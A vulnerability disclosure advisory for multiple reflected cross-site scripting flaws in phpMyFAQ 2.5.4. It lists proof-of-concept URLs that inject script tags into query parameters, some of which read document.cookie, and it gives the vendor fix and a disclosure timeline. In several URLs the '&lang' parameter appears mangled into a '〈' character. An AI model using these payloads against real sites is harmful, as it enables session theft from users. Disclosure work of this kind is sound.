phpMyFAQ <= 2.5.4 Multiple XSS Vulnerabilities

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 OVERVIEW
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phpMyFAQ 2.5 is a multilingual, completely database-driven FAQ-system.

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 PoC
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http://server/phpmyfaq/index.php?action=sitemap〈=en"><script>alert(1)</script>
http://server/phpmyfaq/index.php?search=hello"><script>alert(document.cookie)</script>&action=search
http://server/phpmyfaq/index.php?action=artikel&cat=1&id=1&artlang=en&highlight=you"><script>alert(1)</script>
http://server/phpmyfaq/index.php?action=artikel&cat=1&id=1&artlang=en"><script>alert(1)</script>
http://server/phpmyfaq/index.php?action=sitemap&letter=W〈=en"><script>alert(1)</script>
http://server/phpmyfaq/index.php?action=sitemap&letter=W"><script>alert(1)</script>〈=en
http://server/phpmyfaq/index.php?sid=7〈=en"><script>alert(document.cookie)</script>&action=show&cat=1
http://server/phpmyfaq/index.php?sid=7〈=en&action=show&cat=1"><script>alert(document.cookie)</script>
http://server/phpmyfaq/index.php?action=search&tagging_id=1"><script>alert(1)</script>
http://server/phpmyfaq/index.php?action=news&newsid=1&newslang=en"><script>alert(document.cookie)</script>
http://server/phpmyfaq/index.php?action=send2friend&cat=1&id=1&artlang=en"><script>alert(1)</script>
http://server/phpmyfaq/index.php?action=send2friend&cat=1"><script>alert(1)</script>&id=1&artlang=en
http://server/phpmyfaq/index.php?action=send2friend&cat=1&id=1"><script>alert(1)</script>&artlang=en
http://server/phpmyfaq/index.php?action=translate&cat=1&id=1&srclang=en"><script>alert(1)</script>
http://server/phpmyfaq/index.php?action=translate&cat=1&id=1"><script>alert(1)</script>&srclang=en
http://server/phpmyfaq/index.php?action=translate&cat=1"><script>alert(1)</script>&id=1&srclang=en
http://server/phpmyfaq/index.php?action=add&question=1&cat=1"><script>alert(1)</script>
http://server/phpmyfaq/index.php?action=add&question=1"><script>alert(1)</script>&cat=1

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 Reference
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http://www.phpmyfaq.de/advisory_2009-12-01.php

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 Workaround
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Upgrade to phpMyFAQ 2.5.5.
Download:
http://www.phpmyfaq.de/download.php

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 TimeLine
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Bug discovered 			: 05/11/2009
Informed Vendor			: 05/11/2009
Vendor releases new version	: 02/12/2009
Public Disclosure		: 02/12/2009